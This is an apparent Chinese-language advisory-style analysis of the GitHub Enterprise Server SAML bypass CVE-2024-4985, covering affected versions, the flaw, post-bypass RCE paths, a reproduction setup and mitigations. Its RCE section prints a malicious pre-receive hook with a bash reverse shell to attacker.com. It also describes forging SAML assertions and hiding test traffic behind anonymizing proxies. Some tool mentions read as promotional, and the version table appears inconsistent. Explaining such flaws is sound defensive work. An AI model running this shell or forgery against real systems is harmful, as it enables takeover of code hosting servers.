CVE-2024-4985 漏洞背景与威胁概况
CVE-2024-4985 是 GitHub Enterprise Server (GHES) 中发现的一个极高危漏洞，其 CVSS 评分达到了罕见的 10.0 分。该漏洞的核心在于 GHES 处理 SAML 单点登录（SSO）认证时的逻辑缺陷。在特定配置下，未经身份验证的攻击者可以利用该漏洞伪造 SAML 响应，从而绕过身份验证并获取具有站点管理员（Site Administrator）权限的访问权。由于 GHES 管理员具备修改系统配置、访问所有仓库以及执行管理级任务的能力，此漏洞不仅威胁到代码资产的安全，还直接导致了远程代码执行（RCE）的可能性。
该漏洞的受影响范围广泛，涵盖了多个版本的 GHES，具体取决于是否启用了 SAML 认证以及是否配置了“可选加密断言”（Optional Encrypted Assertions）。安全研究人员在分析资产暴露面时，通常会使用 Zondex 这种互联网空间测绘工具来识别全球范围内暴露在公网上的 GHES 实例，并根据版本号评估潜在风险。
受影响版本与环境依赖
CVE-2024-4985 主要影响启用了 SAML SSO 且未配置特定防护措施的 GHES 环境。下表总结了受影响的版本系列及对应的修复版本：
| GHES 版本系列 | 受影响版本范围 | 修复版本 |
|---|---|---|
| 3.13 | < 3.13.0 | 3.13.0 |
| 3.12 | < 3.12.4 | 3.12.4 |
| 3.11 | < 3.11.10 | 3.11.10 |
| 3.10 | < 3.10.12 | 3.10.12 |
| 3.9 | < 3.9.15 | 3.9.15 |
触发该漏洞需要满足以下特定条件：
- 启用了 SAML SSO 身份验证。
- 在 SAML 配置中启用了断言加密（Encrypted Assertions）。
- GHES 实例未处于某些极特殊的受限网络模式下，且攻击者可以直接访问其认证端点。
SAML 认证绕过技术细节分析
SAML（Security Assertion Markup Language）是一种基于 XML 的标准，用于在身份提供者（IdP）和服务提供者（SP，此处为 GHES）之间交换身份验证和授权数据。通常，一个标准的 SAML 响应（SAML Response）包含以下结构：
<samlp:Response ...>
<ds:Signature>
<!-- 针对 Response 的数字签名 -->
</ds:Signature>
<saml:Assertion ...>
<saml:Subject>
<saml:NameID>admin-user</saml:NameID>
</saml:Subject>
<saml:AttributeStatement>
<saml:Attribute Name="administrator">
<saml:AttributeValue>true</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
<ds:Signature>
<!-- 针对 Assertion 的数字签名 -->
</ds:Signature>
</saml:Assertion>
</samlp:Response>
在 CVE-2024-4985 中，问题出在 GHES 处理“加密断言”时的逻辑漏洞。当断言（Assertion）被加密时，SP 需要先解密该部分，然后再验证其签名的有效性。漏洞研究表明，GHES 的 SAML 解析库（可能涉及 ruby-saml 的特定集成方式）在某些情况下未能正确强制执行签名验证，或者在处理解密后的 XML 节点时存在信任混淆。
具体而言，如果攻击者能够构造一个包含未加密但伪造的断言，并巧妙地利用加密断言的解析流程，GHES 可能会错误地接受一个没有经过 IdP 私钥签名的声明。由于 SAML 协议的复杂性，XML 签名包装攻击（XML Signature Wrapping, XSW）或属性混淆在此类漏洞中非常常见。在 GHES 的案例中，攻击者通过伪造 NameID 和管理属性，可以直接让系统认为其是 site-admin 组的成员。
从认证绕过走向远程代码执行 (RCE)
获得站点管理员权限后，攻击者将拥有对 GHES 实例的完全控制权。GHES 的管理控制台（Management Console）和内部 API 提供了丰富的功能，这些功能在正常情况下受到严格保护，但在提权后可被滥用。为了高效地在大型内网中识别此类配置缺陷，企业可以使用 Secably 提供的漏洞扫描能力，自动检测 GHES 实例的 SAML 配置合规性。
实现 RCE 的典型路径包括：
1. 滥用 Pre-receive Hooks
GHES 允许管理员配置 Pre-receive Hooks，这是一段在代码推送至服务器之前运行的脚本。管理员可以上传自定义的 Shell 脚本。攻击者可以创建一个恶意的钩子脚本，如下所示：
#!/bin/bash
# 恶意 Hook 示例
bash -i >& /dev/tcp/attacker.com/4444 0>&1
exit 0
一旦配置完成，任何针对受影响仓库的推送操作都会触发该脚本，从而在服务器底层容器中获得交互式 Shell。
2. 管理控制台注入
管理员可以访问 https://[ghes-instance]/setup/settings，此处允许配置 SSH 密钥、TLS 证书和各种系统集成。通过修改日志转发配置或某些系统级命令参数，攻击者可以尝试命令注入，利用 GHES 运行时的特权环境执行任意指令。
3. 后台作业与 Sidekiq 操纵
作为站点管理员，可以访问后台任务管理系统。通过操纵 Sidekiq 队列或注入精心构造的 Ruby 对象，攻击者可能触发反序列化漏洞，从而在负责处理后台任务的工作线程中执行代码。
漏洞检测与复现环境构建
复现 CVE-2024-4985 需要建立一个支持 SAML 2.0 的环境。以下是研究人员常用的工具链：
- IdP 模拟器：使用 SimpleSAMLphp 或基于 Node.js 的 SAML 模拟器来生成带有加密断言的响应。
- 拦截代理：使用 Burp Suite 专业版，并安装 SAML Raider 插件。该插件支持对 SAML 消息进行 XSW 攻击尝试和签名剔除实验。
- 匿名化测试：在进行外部红队评估时，研究人员通常利用 GProxy 提供的匿名代理服务，以避免在目标审计日志中暴露测试源 IP。
在测试环境中，关键步骤是捕获正常的 SAML 响应，修改其中的 Subject 标签为管理员用户名，并尝试移除签名或利用不匹配的密钥进行重新签名。如果 GHES 允许在加密断言存在的情况下忽略对明文部分的签名校验，则漏洞利用成功。
防护方案与缓解措施
针对 CVE-2024-4985 的首选解决方案是立即升级到 GitHub 官方发布的修复版本。升级过程会更新内部的 SAML 处理逻辑，确保无论是否使用加密断言，所有的身份验证声明都必须经过受信任 IdP 的严格签名验证。
对于无法立即停机维护的环境，可以考虑以下临时缓解措施：
- 禁用加密断言：如果 IdP 和网络环境允许，暂时切换回仅签名的明文断言模式，前提是确保传输层（TLS）安全。
- 启用多因素身份验证 (MFA)：虽然 SAML 绕过会跳过第一层 SSO，但如果 GHES 强制要求站点管理员进行额外的内置 MFA 校验，可以增加攻击难度。
- 访问控制列表 (ACL)：通过防火墙限制对
/login/saml等端点的访问，仅允许特定的受信任 IP 段访问。
安全审计日志也是发现攻击痕迹的关键。管理员应重点监控 auth.log 和 audit.log，寻找非正常登录模式，例如同一用户从异常 IP 登录，或者在没有 IdP 交互记录的情况下产生的 site_admin 会话创建记录。由于该漏洞利用的是协议解析层面的缺陷，传统的 Web 应用防火墙 (WAF) 很难通过简单的特征码匹配来拦截这种高度混淆的 XML 攻击载荷。
CVE-2024-4985 再次提醒了在实现复杂认证协议时，库函数的默认行为与应用层逻辑集成之间可能产生的安全裂缝。在涉及高权限系统的身份验证模块设计中，必须遵循“默认拒绝”和“全量验证”原则，确保任何安全断言在被系统信任前都经过了完整的密码学校验。